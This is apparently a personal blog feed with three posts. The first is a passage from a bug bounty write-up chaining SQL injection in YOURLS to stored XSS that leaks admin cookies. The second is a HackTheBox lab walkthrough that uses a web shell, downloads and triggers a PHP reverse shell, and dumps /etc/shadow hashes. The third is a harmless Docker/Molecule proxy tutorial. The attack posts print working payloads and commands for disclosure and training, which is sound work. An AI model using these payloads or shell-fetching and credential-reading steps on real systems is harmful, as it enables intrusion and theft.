<span class="nv">$strip</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s1">'%0d'</span><span class="p">,</span> <span class="s1">'%0a'</span><span class="p">,</span> <span class="s1">'%0D'</span><span class="p">,</span> <span class="s1">'%0A'</span><span class="p">);</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nx">yourls_deep_replace</span><span class="p">(</span><span class="nv">$strip</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">';//'</span><span class="p">,</span> <span class="s1">'://'</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'&amp;'</span><span class="p">,</span> <span class="s1">'&'</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span> <span class="c1">// Revert & not to break query strings</span>
<span class="k">return</span> <span class="nv">$url</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Perform a replacement while a string is found, eg $subject = '%0%0%0DDD', $search ='%0D' -> $result =''</span>
<span class="c1">// Stolen from WP's _deep_replace</span>
<span class="k">function</span> <span class="nf">yourls_deep_replace</span><span class="p">(</span><span class="nv">$search</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">){</span>
<span class="nv">$found</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="nv">$found</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$found</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
<span class="k">foreach</span><span class="p">(</span> <span class="p">(</span><span class="k">array</span><span class="p">)</span> <span class="nv">$search</span> <span class="k">as</span> <span class="nv">$val</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">while</span><span class="p">(</span><span class="nb">strpos</span><span class="p">(</span><span class="nv">$subject</span><span class="p">,</span> <span class="nv">$val</span><span class="p">)</span> <span class="o">!==</span> <span class="kc">false</span><span class="p">)</span> <span class="p">{</span>
<span class="nv">$found</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
<span class="nv">$subject</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="nv">$val</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$subject</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nv">$subject</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To sum up, it:</p>
<ul>
<li>checks that the referer URL starts with a protocol handler like <code class="highlighter-rouge">http://</code> or
<code class="highlighter-rouge">ftp://</code></li>
<li>removes any character not in <code class="highlighter-rouge">a-z0-9-~+_.?#=!&;,/:%@$\|*\'"()\\x80-\\xff</code></li>
<li>removes <code class="highlighter-rouge">\n</code> and <code class="highlighter-rouge">\r</code> new line characters</li>
</ul>
<p>After a lot of trial and error, I ended up with this payload:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code>javascript://%e2%80%a8alert(document.cookie);
</code></pre></div></div>
<p>It’s a bit cryptic, so here is how it works:
<code class="highlighter-rouge">javascript:</code> is a URI scheme indicating to the browser that the rest of the
string is Javascript.
<code class="highlighter-rouge">//</code> starts a comment in Javascript.
<code class="highlighter-rouge">%e2%80%a8</code> is an URL encoded Unicode line separator. It is interpreted as a new
line by Javascript but sneaks by the filter untouched.
<code class="highlighter-rouge">alert(document.cookie);</code> is the actual payload.</p>
<p>So when the user clicks the link, the following Javascript is executed:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//</span>
<span class="nx">alert</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span>
</code></pre></div></div>
<p>Finally! I got it working! It took me some time but I felt really good having
been persistent and ending up successful.<br />
Then reality came crashing the party…<br />
Truth is, the link is ugly and nobody in their right mind would ever dare
clicking on it.<br />
I was happy to have found a way to get a XSS but no chance I’d get a good payout
with that.</p>
<h2 id="facepalm">Facepalm</h2>
<p>I was a bit down to be honest… But I kept thinking about it and after a while
I just realized I had everything I needed already!<br />
The SQL injection allowed me to insert new records in <code class="highlighter-rouge">yourls_log</code>. So I could
write to the <code class="highlighter-rouge">referrer</code> column without being constrained by the filter on the
<code class="highlighter-rouge">Referer</code> header because the <code class="highlighter-rouge">User-Agent</code> header is pretty much left alone.<br />
I could then store a payload like <code class="highlighter-rouge"><script>alert(document.cookie);</script></code>
directly in the DB and it would execute on page load so no weird link to click.<br />
Instant pwn. Great!<br />
Now I had something solid: SQLi to stored XSS to admin cookies leak. Reads like
a skateboard trick and is at least as cool! I think :)</p>
<p>In the end the payload looked like this:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> curl http://yourls.local/ozh <span class="nt">-H</span> <span class="s2">"User-Agent: test', '', ''), ('', NOW(), 'ozh', concat(char(60), 'script', char(62), 'alert(document.cookie);', char(60), '/script', char(62)), '', '', '') #"</span>
</code></pre></div></div>
<h2 id="checking-the-target">Checking the target</h2>
<p>As you can see above, I needed a valid short URL to trigger the SQLi because
YOURLS doesn’t log anything in the DB for invalid ones.<br />
You’d probably think that I’d have make sure I could trigger the SQLi before
going further. You’d be right but I was, well… excited and thinking somehow
ended up on the back burner.<br />
Now all I did before could be for nothing if I couldn’t get my hands on some
short URL from the <code class="highlighter-rouge">ynab.me</code> domain. For all I know they hadn’t been using it
for a few years and none of the short links wasn’t up anymore…<br />
A quick search in Google with <code class="highlighter-rouge">site:ynab.me</code> instantly reassured me: there was
plenty of results for that.<br />
I only checked for the SQLi because I didn’t want to pollute their analytics.
The test I did is the following:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> <span class="nb">time </span>curl http://ynab.me/contactus
<span class="go">
real 0m0.901s
user 0m0.027s
sys 0m0.037s
</span><span class="gp">$</span> <span class="nb">time </span>curl http://ynab.me/contactus <span class="nt">-H</span> <span class="s2">"User-Agent: test' or SLEEP(10) or '"</span>
<span class="go">
real 0m10.431s
user 0m0.026s
sys 0m0.040s
</span></code></pre></div></div>
<p>It confirmed the vulnerability on <code class="highlighter-rouge">ynab.me</code>.</p>
<p class="notice--info"><strong>Fixed</strong><br />
Following my report, YNAB has upgraded YOURLS to the latest version which is not
vulnerable anymore. In fact the YOURLS team has refactored the code handling DB
queries to use binded parameters so they should be safe from now on.</p>
<h2 id="please-show-me-the-money">(Please) Show me the money!</h2>
<p>Next I had to write the report to submit to YNAB and hopefully get rewarded.<br />
Honestly I probably overdid it as I wanted to make sure it wouldn’t be dismissed
and I got my payout. So I almost spent 2h writing it and finally I submitted it
on Bugcrowd.<br />
Then I just had to wait. And wait. More.<br />
Frankly waiting is the worst. Especially as it was my first submission, I was
anxious to get an answer from the security team. Is it a duplicate? Is it valid?
Damn! Waiting was killing me.<br />
Everytime I got an email I wished it was from Bugcrowd.<br />
So after 12 days without news, I added a quick comment to ask if they needed any
more info from me.<br />
The following day it was triaged by the Bugcrowd team and they informed me that
it was under further review by YNAB. Good they didn’t forget me!<br />
The day after, the YNAB team had reviewed the bug, confirmed the criticity and
was awarding me a sweet $1500 reward.</p>
<p class="notice--info"><strong>Security team are busy</strong><br />
But they want to improve security as much as you do.
So be patient and don’t pester them everyday to get your reward.
You will probably deal with them more than once and want them to be on your
side.</p>
<p>Needless to say that I was ecstatic. In fact describing my attitude as “like a
kid at Christmas” is probably quite close to the truth.<br />
Of course I’m grateful for the reward, but what I’m really happy about is that
it’s kind of telling me that I can do that, that I’m capable. And that’s
probably the best part about it. Also making some dough on the side will
obviously come in handy.</p>
<h2 id="lessons-learnt">Lessons learnt</h2>
<p>As I see it, I’ve been lucky to stumble upon that old YOURLS instance but I had
to really work to get a P1 out of it. To put luck on your side, be methodical in
your enumeration and be ready to spend a lot of time on it and on exploitation if
needed.
Also:</p>
<ul>
<li>Security people are busy but nice, don’t pester them.</li>
<li>Be thorough, people will miss stuff sometimes.</li>
<li>When in doubt, enumerate.</li>
<li>Take a step back to see what you have and what you can do with it.</li>
<li>Don’t rush submitting any vuln you find if it’s not P1 or P2. Maybe you can
chain them with some others to get a P1 or P2.</li>
<li>Same if you feel the impact is not there.</li>
<li>Enumerate more.</li>
<li>Follow user input trail or work backwards from known vulnerable patterns you
may find.</li>
<li>Luck plays a part.</li>
<li>Be persistent.</li>
<li>You can do this!</li>
</ul>
<p>At that point I’m probably going to cancel my Hack The Box subscription (no hard
feelings, it’s a great platform to learn), invest a bit in some tooling (mainly
automation, maybe a BurpSuite license) and focus all my side-hustle time on bug
bounties.<br />
I see it as a great way to build some reputation for people without any hard
credentials like me. Maybe a way to get your foot in the door of the infosec
industry.</p>Renaud MartinetI’ve been aware of bug bounties for a few years now but never really felt I was capable of participating.HackTheBox Bashed Write-Up2018-06-15T00:00:00+00:002018-06-15T00:00:00+00:00https://renaudmarti.net/posts/hackthebox-bashed<p>OK so let’s get this series started with a fairly simple box.</p>
<p>First what is reachable from the outside:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>nmap <span class="nt">-A</span> 10.10.10.68
Starting Nmap 7.01 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2018-04-14 15:27 CEST
Nmap scan report <span class="k">for </span>10.10.10.68
Host is up <span class="o">(</span>0.058s latency<span class="o">)</span><span class="nb">.</span>
Not shown: 968 closed ports, 31 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 <span class="o">((</span>Ubuntu<span class="o">))</span>
|_http-server-header: Apache/2.4.18 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Arrexel<span class="s1">'s Development Site
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.16 seconds
</span></code></pre></div></div>
<p>Only a website? Fine. I’ll just run <code class="highlighter-rouge">dirbuster</code> while I have a look at it.<br />
The website indicates that a web shell named <code class="highlighter-rouge">phpbash</code> was developped on this
server. So there’s probably a copy still around.
And look at what <code class="highlighter-rouge">dirbuster</code> found:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker run <span class="nt">--rm</span> hypnza/dirbuster <span class="nt">-u</span> http://10.10.10.68
Unable to find image <span class="s1">'hypnza/dirbuster:latest'</span> locally
latest: Pulling from hypnza/dirbuster
2fdfe1cd78c2: Pull <span class="nb">complete
</span>82630fd6e5ba: Pull <span class="nb">complete
</span>f5176a718d97: Pull <span class="nb">complete
</span>c80c64816aa1: Pull <span class="nb">complete
</span>5044f34d8e2c: Pull <span class="nb">complete
</span>Digest: sha256:026c031bdeefe03f6207ceb755f8ff03f4f1c6384b0445c7ef6d9daf9782cd4f
Status: Downloaded newer image <span class="k">for </span>hypnza/dirbuster:latest
Apr 14, 2018 1:36:49 PM java.util.prefs.FileSystemPreferences<span class="nv">$1</span> run
INFO: Created user preferences directory.
Starting OWASP DirBuster 0.12 <span class="k">in </span>headless mode
Starting <span class="nb">dir</span>/file list based brute forcing
Dir found: / - 200
Dir found: /images/ - 200
Dir found: /icons/ - 403
Dir found: /icons/ - 403
File found: /index.html - 200
File found: /single.html - 200
Dir found: /js/ - 200
Dir found: /uploads/ - 200
File found: /js/imagesloaded.pkgd.js - 200
File found: /js/jquery.js - 200
File found: /js/jquery.smartmenus.min.js - 200
Dir found: /demo-images/ - 200
File found: /js/jquery.mousewheel.min.js - 200
File found: /js/jquery.carouFredSel-6.0.0-packed.js - 200
File found: /js/custom_google_map_style.js - 200
File found: /js/jquery.touchSwipe.min.js - 200
File found: /js/html5.js - 200
File found: /js/jquery.easing.1.3.js - 200
File found: /js/main.js - 200
File found: /js/jquery.nicescroll.min.js - 200
Dir found: /php/ - 200
File found: /php/sendMail.php - 200
Dir found: /css/ - 200
Apr 14, 2018 1:37:03 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: I/O exception <span class="o">(</span>org.apache.commons.httpclient.NoHttpResponseException<span class="o">)</span> caught when processing request: The server 10.10.10.68 failed to respond
Apr 14, 2018 1:37:03 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: Retrying request
File found: /css/carouFredSel.css - 200
File found: /css/clear.css - 200
File found: /css/common.css - 200
File found: /css/font-awesome.min.css - 200
File found: /css/sm-clean.css - 200
Dir found: /dev/ - 200
File found: /dev/phpbash.min.php - 200
File found: /dev/phpbash.php - 200
Dir found: /js/ - 200
Dir found: /fonts/ - 200
File found: /fonts/fontawesome-webfont.eot - 200
File found: /fonts/FontAwesome.otf - 200
File found: /fonts/fontawesome-webfont.woff - 200
File found: /fonts/fontawesome-webfont.woff2 - 200
File found: /fonts/fontawesome-webfont.svg - 200
File found: /fonts/fontawesome-webfont.ttf - 200
</code></pre></div></div>
<p>Two copies of the said script at <code class="highlighter-rouge">dev/phpbash.min.php</code> and <code class="highlighter-rouge">/dev/phpbash.php</code>.<br />
And it works:
<img src="/media/images/hackthebox-bashed/phpbash.png" alt="Alt description" /></p>
<p>Looking around in <code class="highlighter-rouge">/etc/passwd</code>, I found two interesting users:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash
</code></pre></div></div>
<p>Let’s start with <code class="highlighter-rouge">arrexel</code> since it’s the name of the creator of this box.
If we look at his home directory, we find our first flag <code class="highlighter-rouge">user.txt</code>:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /home/arrexel/user.txt
you_know_you_want_it
</code></pre></div></div>
<p>That user belongs to a lot of groups including <code class="highlighter-rouge">sudo</code> so I’ll focus on it:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ id arrexel
uid=1000(arrexel) gid=1000(arrexel) groups=1000(arrexel),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),114(lpadmin),115(sambashare)
</code></pre></div></div>
<p>Time to get a real shell that I can get back whenever I need.<br />
On my laptop I download a PHP reverse shell and spin up a web server in the same directory:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
$ python -m SimpleHTTPServer 8000
</code></pre></div></div>
<p>Now I can get the script from the target:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cd /var/www/html/uploads
$ wget http://10.10.14.4:8000/php-reverse-shell.php
$ mv php-reverse-shell.php phpinfo.php
</code></pre></div></div>
<p>And start a Netcat listener on my laptop:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvp 4444
</code></pre></div></div>
<p>Then I access that new script at <code class="highlighter-rouge">/uploads/phpinfo.php</code> in my browser and see it connect back to my laptop. Good.</p>
<p>I check the kernel version and see that there’s <a href="https://www.exploit-db.com/exploits/41458/">an exploit</a> available for it at ExploitDB.
It gave me a root prompt but borked the box. The author said it was unstable.
Maybe if I modify it to <code class="highlighter-rouge">cat /etc/shadow</code>, I can then crack root password offline?…<br />
It worked and I got this:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root:!:17504:0:99999:7:::
daemon:*:17212:0:99999:7:::
bin:*:17212:0:99999:7:::
sys:*:17212:0:99999:7:::
sync:*:17212:0:99999:7:::
games:*:17212:0:99999:7:::
man:*:17212:0:99999:7:::
lp:*:17212:0:99999:7:::
mail:*:17212:0:99999:7:::
news:*:17212:0:99999:7:::
uucp:*:17212:0:99999:7:::
proxy:*:17212:0:99999:7:::
www-data:*:17212:0:99999:7:::
backup:*:17212:0:99999:7:::
list:*:17212:0:99999:7:::
irc:*:17212:0:99999:7:::
gnats:*:17212:0:99999:7:::
nobody:*:17212:0:99999:7:::
systemd-timesync:*:17212:0:99999:7:::
systemd-network:*:17212:0:99999:7:::
systemd-resolve:*:17212:0:99999:7:::
systemd-bus-proxy:*:17212:0:99999:7:::
syslog:*:17212:0:99999:7:::
_apt:*:17212:0:99999:7:::
messagebus:*:17504:0:99999:7:::
uuidd:*:17504:0:99999:7:::
arrexel:$1$mDpVXKQV$o6HkBjhl/e.S.bV96tMm6.:17504:0:99999:7:::
scriptmanager:$6$WahhM57B$rOHkWDRQpds96uWXkRCzA6b5L3wOorpe4uwn5U32yKRsMWDwKAm.RF6T81Ki/MOyo.dJ0B8Xm5/wOrLk35Nqd0:17504:0:99999:7:::
</code></pre></div></div>
<p>Since I can run something as <code class="highlighter-rouge">root</code>, I guess the flag is at <code class="highlighter-rouge">/root/root.txt</code> so I modify the exploit again, run it and get the flag:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>show_me_the_money
</code></pre></div></div>
<h2 id="redo">Redo</h2>
<p>Although it worked, It’s probably not the way the author had in mind.
Going through my notes as I write this, I feel kind of dirty to have used a kernel exploit, weird.
I’ll just have to redo that box another way.</p>Renaud MartinetOK so let’s get this series started with a fairly simple box.Testing Ansible Roles with Molecule Behind a Proxy2018-06-13T00:00:00+00:002018-06-13T00:00:00+00:00https://renaudmarti.net/posts/molecule-proxy-support<p>If you have ever worked with so-called devops tools (Docker, CAPS and friends)
behind a corporate proxy, you know that’s not their main use case. Althought it’s
getting better, usually proxy support feels like an afterthought and documentation
is lacking.</p>
<p>I remember reading the source of Test Kitchen Docker driver and Ansible provisioner
to understand how they were using <code class="highlighter-rouge">http_proxy</code> and <code class="highlighter-rouge">https_proxy</code> environment variables.
In the case of the Ansible provisioner, i even had to
<a href="https://github.com/neillturner/kitchen-ansible/pull/150">add proxy support myself for Ansible Galaxy</a>.<br />
So when I started using <a href="https://github.com/metacloud/molecule">Molecule</a> and it couldn’t build the base Docker image
because <code class="highlighter-rouge">yum</code> couldn’t reach the CentOS repo, I was like “Here we go again…”</p>
<p>In this case I’m using Molecule with the Docker driver.
This proxy support problem affects three different components:</p>
<ul>
<li>the Docker engine, when pulling images.</li>
<li>the Docker image itself at build time, when using the package manager of the chosen distro.</li>
<li>the Ansible tasks, when they need to reach the Internet.</li>
</ul>
<p>Well, it took me a few hours of testing but I came up with a solution. It’s not perfect
but not too far from it.<br />
In this case, for me perfect means:</p>
<ul>
<li>it works with and without proxy.</li>
<li>it uses environment variables all the way: no hardcoded IPs.</li>
<li>it works without any changes to the code under test, here the Ansible playbook.</li>
<li>it can be checked in version control and work as is for my teammates.</li>
</ul>
<p>The first part is now <a href="https://docs.docker.com/config/daemon/systemd/#httphttps-proxy">well documented by Docker</a>, so I won’t elaborate on that.
You can also have a look at <a href="https://gist.github.com/wenlock/1d806c9eb668ffaa2f64fa8692967359">that gist</a> that covers more OSes and init
processes.</p>
<h2 id="building-the-docker-image">Building the Docker image</h2>
<p class="notice--info"><strong>Update</strong>: you don’t have to do this anymore as <a href="https://github.com/ansible/molecule/pull/2106">it has been merged into Molecule</a>.</p>
<p>For the second, it’s a good thing Molecule drops a Dockerfile template in the
scenario directory, it’s easier to modify that than Molecule itself.
The modification is fairly simple: I just check if the platform has an <code class="highlighter-rouge">env</code> key
and then iterate over that array to add <code class="highlighter-rouge">ENV</code> command to the resulting Dockerfile.
Here is the content of the <code class="highlighter-rouge">molecule/default/Dockerfile.j2</code> file:</p>
<div class="language-liquid highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
# Molecule managed
<span class="p">{%</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="nv">item</span><span class="p">.</span><span class="nv">registry</span><span class="w"> </span><span class="nv">is</span><span class="w"> </span><span class="nv">defined</span><span class="w"> </span><span class="p">%}</span>
FROM <span class="p">{{</span><span class="w"> </span><span class="nv">item</span><span class="p">.</span><span class="nv">registry</span><span class="p">.</span><span class="nv">url</span><span class="w"> </span><span class="p">}}</span>/<span class="p">{{</span><span class="w"> </span><span class="nv">item</span><span class="p">.</span><span class="nv">image</span><span class="w"> </span><span class="p">}}</span>
<span class="p">{%</span><span class="w"> </span><span class="kr">else</span><span class="w"> </span><span class="p">%}</span>
FROM <span class="p">{{</span><span class="w"> </span><span class="nv">item</span><span class="p">.</span><span class="nv">image</span><span class="w"> </span><span class="p">}}</span>
<span class="p">{%</span><span class="w"> </span><span class="kr">endif</span><span class="w"> </span><span class="p">%}</span>
<span class="p">{%</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="nv">item</span><span class="p">.</span><span class="nv">env</span><span class="w"> </span><span class="nv">is</span><span class="w"> </span><span class="nv">defined</span><span class="w"> </span><span class="p">%}</span>
<span class="p">{%</span><span class="w"> </span><span class="nt">for</span><span class="w"> </span>var<span class="p">,</span><span class="w"> </span>value<span class="w"> </span>in<span class="w"> </span>item.env.iteritems()<span class="w"> </span><span class="p">%}</span>
<span class="p">{%</span><span class="w"> </span><span class="kr">if</span><span class="w"> </span><span class="nv">value</span><span class="w"> </span><span class="p">%}</span>
ENV <span class="p">{{</span><span class="w"> </span><span class="nv">var</span><span class="w"> </span><span class="p">}}</span> <span class="p">{{</span><span class="w"> </span><span class="nv">value</span><span class="w"> </span><span class="p">}}</span>
<span class="p">{%</span><span class="w"> </span><span class="kr">endif</span><span class="w"> </span><span class="p">%}</span>
<span class="p">{%</span><span class="w"> </span><span class="nt">endfor</span><span class="w"> </span><span class="p">%}</span>
<span class="p">{%</span><span class="w"> </span><span class="kr">endif</span><span class="w"> </span><span class="p">%}</span>
RUN if [ $(command -v apt-get) ]; then apt-get update && apt-get upgrade -y && apt-get install -y python sudo bash ca-certificates && apt-get clean; \
elif [ $(command -v dnf) ]; then dnf makecache && dnf --assumeyes install python sudo python-devel python2-dnf bash && dnf clean all; \
elif [ $(command -v yum) ]; then yum makecache fast && yum update -y && yum install -y python sudo yum-plugin-ovl bash && sed -i 's/plugins=0/plugins=1/g' /etc/yum.conf && yum clean all; \
elif [ $(command -v zypper) ]; then zypper refresh && zypper update -y && zypper install -y python sudo bash python-xml && zypper clean -a; \
elif [ $(command -v apk) ]; then apk update && apk add --no-cache python sudo bash ca-certificates; \
elif [ $(command -v xbps-install) ]; then xbps-install -Syu && xbps-install -y python sudo bash ca-certificates && xbps-remove -O; fi
</code></pre></div></div>
<p>Then in my <code class="highlighter-rouge">molecule/default/molecule.yml</code> file, I define the platforms like so:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">---</span>
<span class="na">dependency</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">galaxy</span>
<span class="na">driver</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">docker</span>
<span class="na">lint</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">yamllint</span>
<span class="na">platforms</span><span class="pi">:</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">instance</span>
<span class="na">image</span><span class="pi">:</span> <span class="s">centos:7</span>
<span class="na">env</span><span class="pi">:</span>
<span class="na">http_proxy</span><span class="pi">:</span> <span class="s">${http_proxy}</span>
<span class="na">https_proxy</span><span class="pi">:</span> <span class="s">${https_proxy}</span>
<span class="na">no_proxy</span><span class="pi">:</span> <span class="s">${no_proxy}</span>
<span class="na">provisioner</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">ansible</span>
<span class="na">lint</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">ansible-lint</span>
<span class="na">scenario</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">default</span>
<span class="na">verifier</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">testinfra</span>
<span class="na">lint</span><span class="pi">:</span>
<span class="na">name</span><span class="pi">:</span> <span class="s">flake8</span>
</code></pre></div></div>
<p>Supposing that the following variables are set in my environment:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">http_proxy</span><span class="o">=</span>http://proxy:3128
<span class="nv">http_proxy</span><span class="o">=</span>https://proxy:3128
<span class="nv">no_proxy</span><span class="o">=</span>localhost
</code></pre></div></div>
<p>That will produce this <code class="highlighter-rouge">Dockerfile</code> for the Molecule tests:</p>
<figure class="highlight"><pre><code class="language-dockerfile" data-lang="dockerfile"><span class="k">FROM</span><span class="s"> centos:7</span>
<span class="k">ENV</span><span class="s"> http_proxy http://myproxy:3128</span>
<span class="k">ENV</span><span class="s"> https_proxy https://myproxy:3128</span>
<span class="k">ENV</span><span class="s"> no_proxy localhost</span>
<span class="k">RUN if</span> <span class="o">[</span> <span class="k">$(</span><span class="nb">command</span> <span class="nt">-v</span> apt-get<span class="k">)</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span>apt-get update <span class="o">&&</span> apt-get upgrade <span class="nt">-y</span> <span class="o">&&</span> apt-get <span class="nb">install</span> <span class="nt">-y</span> python <span class="nb">sudo </span>bash ca-certificates <span class="o">&&</span> apt-get clean<span class="p">;</span> <span class="se">\
</span> <span class="k">elif</span> <span class="o">[</span> <span class="k">$(</span><span class="nb">command</span> <span class="nt">-v</span> dnf<span class="k">)</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span>dnf makecache <span class="o">&&</span> dnf <span class="nt">--assumeyes</span> <span class="nb">install </span>python <span class="nb">sudo </span>python-devel python2-dnf bash <span class="o">&&</span> dnf clean all<span class="p">;</span> <span class="se">\
</span> <span class="k">elif</span> <span class="o">[</span> <span class="k">$(</span><span class="nb">command</span> <span class="nt">-v</span> yum<span class="k">)</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span>yum makecache fast <span class="o">&&</span> yum update <span class="nt">-y</span> <span class="o">&&</span> yum <span class="nb">install</span> <span class="nt">-y</span> python <span class="nb">sudo </span>yum-plugin-ovl bash <span class="o">&&</span> <span class="nb">sed</span> <span class="nt">-i</span> <span class="s1">'s/plugins=0/plugins=1/g'</span> /etc/yum.conf <span class="o">&&</span> yum clean all<span class="p">;</span> <span class="se">\
</span> <span class="k">elif</span> <span class="o">[</span> <span class="k">$(</span><span class="nb">command</span> <span class="nt">-v</span> zypper<span class="k">)</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span>zypper refresh <span class="o">&&</span> zypper update <span class="nt">-y</span> <span class="o">&&</span> zypper <span class="nb">install</span> <span class="nt">-y</span> python <span class="nb">sudo </span>bash python-xml <span class="o">&&</span> zypper clean <span class="nt">-a</span><span class="p">;</span> <span class="se">\
</span> <span class="k">elif</span> <span class="o">[</span> <span class="k">$(</span><span class="nb">command</span> <span class="nt">-v</span> apk<span class="k">)</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span>apk update <span class="o">&&</span> apk add <span class="nt">--no-cache</span> python <span class="nb">sudo </span>bash ca-certificates<span class="p">;</span> <span class="se">\
</span> <span class="k">elif</span> <span class="o">[</span> <span class="k">$(</span><span class="nb">command</span> <span class="nt">-v</span> xbps-install<span class="k">)</span> <span class="o">]</span><span class="p">;</span> <span class="k">then </span>xbps-install <span class="nt">-Syu</span> <span class="o">&&</span> xbps-install <span class="nt">-y</span> python <span class="nb">sudo </span>bash ca-certificates <span class="o">&&</span> xbps-remove <span class="nt">-O</span><span class="p">;</span> <span class="k">fi</span></code></pre></figure>
<p>My proxy is now picked up by the package manager and the Docker image gets built properly.</p>
<h2 id="running-ansible">Running Ansible</h2>
<p>Now when Molecule runs the Ansible playbook from the scenario, every task that
reaches out to the Internet also needs to be configured to use the proxy.<br />
Fortunately, we can set environment variables at the play level and they will
be set for every task of that play.<br />
To get the environment variable value from my dev machine, I use the <code class="highlighter-rouge">env</code> lookup
filter in Jinja2.<br />
If we put all of this together, we get the following playbook:</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="nn">---</span>
<span class="pi">-</span> <span class="na">name</span><span class="pi">:</span> <span class="s">Converge</span>
<span class="na">hosts</span><span class="pi">:</span> <span class="s">all</span>
